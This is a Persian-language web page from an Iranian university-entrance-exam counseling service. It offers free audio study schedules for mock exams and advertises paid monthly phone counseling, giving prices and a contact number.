الزام تست زدن ازالان تا کنکور بهترین روش مطالعه کلیدی و مفهومی برای سال های اینده باتوجه به رویکرد جدید سوالات ترکیبی و مفهومی کنکور

درهمایش ویژه کارگاه مشاوره دهمی ها

فردا  بارگزاری خواهد شد


دغدغه های تغییر سیستم اموزشی از پایه ابتدایی به متوسط اول

تغییر ارزیابی توصیفی در دوران ابتدایی به کارنامه ارزشیابی تکمیلی عددی نمره محور در پایه هفتم

بررسی مشکلات اولیا با دانش اموزان نسبت به تغییر سطح دروس

سردرگمی اولیا درخصوص تغییرات جدید کتب درسی

دانلود جلسه با اولیا پایه هفتم بارویکرد جدید اموزشی سیستم دوره متوسطه اول

دانلود قسمت اول

دانلود قسمت دوم

برنامه ریزی رایگان آزمونها

یه سلام خداقوت ویژه به شما کنکوری های عزیز

بنا به رسم هرساله آکادمی مشاوره برنامه ۱۰۰ امسال هم با فایل های صوتی برنامه ریزی رایگان ویژه ازمون های قلم چی و گزینه دو درخدمتتون هستیم.

 

چند نکته مهم درخصوص این برنامه ریزی ها باید بگم بهتون:

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲٫برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳٫/ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴٫رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵٫دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.

 

 

**دانلود برنامه ریزی ازمونها**

برنامه ریزی ازمون ۱۹ آذر قلمچی

و ۳ دی گزینه دو در کانال اکادمی مشاوره

جهت دانلود برنامه ریزی به کانال اکادمی مراجعه کنید.

عضویت و دریافت برنامه ریزی

***********************************

۵ آذر قلمچی

۱۲ آذر گزینه دو

—————————————————————————————————————————————-

** چنانجه سوالی درخصوص این فایل های صوتی داشتید میتونید در زیر همین پست کامنت بزارید.**

به کانال تلگرامی  آکادمی مشاوره بپیوندید تا هرروز نکات مشاوره ای -انگیزشی-روش مطالعه و… بشنوید.

برای ورود کلیک کنید.

جلسات مشاوره ماهانه

جلسات مشاوره ماهانه

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

درقالب جلسات تلفنی و پیگیری دوبار در هفته و یا سه بار درهفته بنا به درخواست داوطلب

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره ی تلفنی و برنامه ریزیبصورت ماهانه تاکنکور

برنامه ریزی روزانه-هفتگی و ماهانه

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

برنامه ریزی شخصی سازی شده

متناسب با برنامه درسی مدرسه و آزمون آزمایشی شما

برنامه ریزی مطابق کلاسهای کنکورتان

مشاوره های تلفنی درطول هفته

رفع اشکال مشاوره ی انگیزشی و مشاوره ای

چکینگ برنامه ریزی

 

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

اطلاعیه ثبت نام

 

 

 

بدین وسیله به اطلاع دانش اموزان و داوطلبان محترم میرساند 

سری جدید ثبت نام دانش اموزان خصوصی مشاوره با ظرفیت محدود آغاز شد

ویژگی ها و خدمات مشاوره خصوصی:

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

برنامه ریزی شخصی ویژه هرفرد

برنامه ریزی منحصر بفرد هردانش اموز باتوجه به ویژگی های تحصیلی نقاط ضعف و قوت در هر درس

برنامه ریزی منطبق با کلاسهای خصوصی داوطلب و منابع وکتب کمک اموزشی هرفرد (روزانه-هفتگی و ماهانه)

برنامه ریزی درقالب دوبرنامه ی جدا :برنامه ریزی شخصی ویژه آزمون آزمایشی باهدف افزایش تراز و درصد درهردرس -کاهش تعداد غلط درآزمون-

و برنامه ریزی ویژه برنامه ۱۰۰ که فراتر از ازمونها بوده و نواقص ازمونها دران برطرف شده و بصورت مبحث بندی و ترکیبی از پایه های دوم و سوم و چهارم  خواهد بود.

که انتخاب نوع برنامه ریزی بهجهت رفاه حال دانش اموز با خوده دانش اموز است.

ده جلسه مشاوره ی تلفنی با موضوعات مختلف:

پرسش و پاسخ مشکلات شخصی دانش اموز-اموزش روشهای مطالعاتی -آموزش و روشهای مشاوره ای 

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

 

چکینگ برنامه ریزی شبانه

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

با ظرفیت محدود پذیرفته میشود.

از آنجایی که ما به کیفیت داشتن جلسات مشاوره و نظارت روی برنامه ریزی ها معتقدیم و لازم میدانیم تا با نظارت مستقیم و جدی بروری تک تک دانش اموزان شاهده پیشرفت و یاری دهنده ی انها در پیشبرد برنامه ریزی و خواندن درسها باشیمبه همین دلیل ظرفیت تعداد دانش اموزان شخصی محدود بوده.

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

ویا ثبت نام آنلاین ازطریق سایت

کلیک کنید.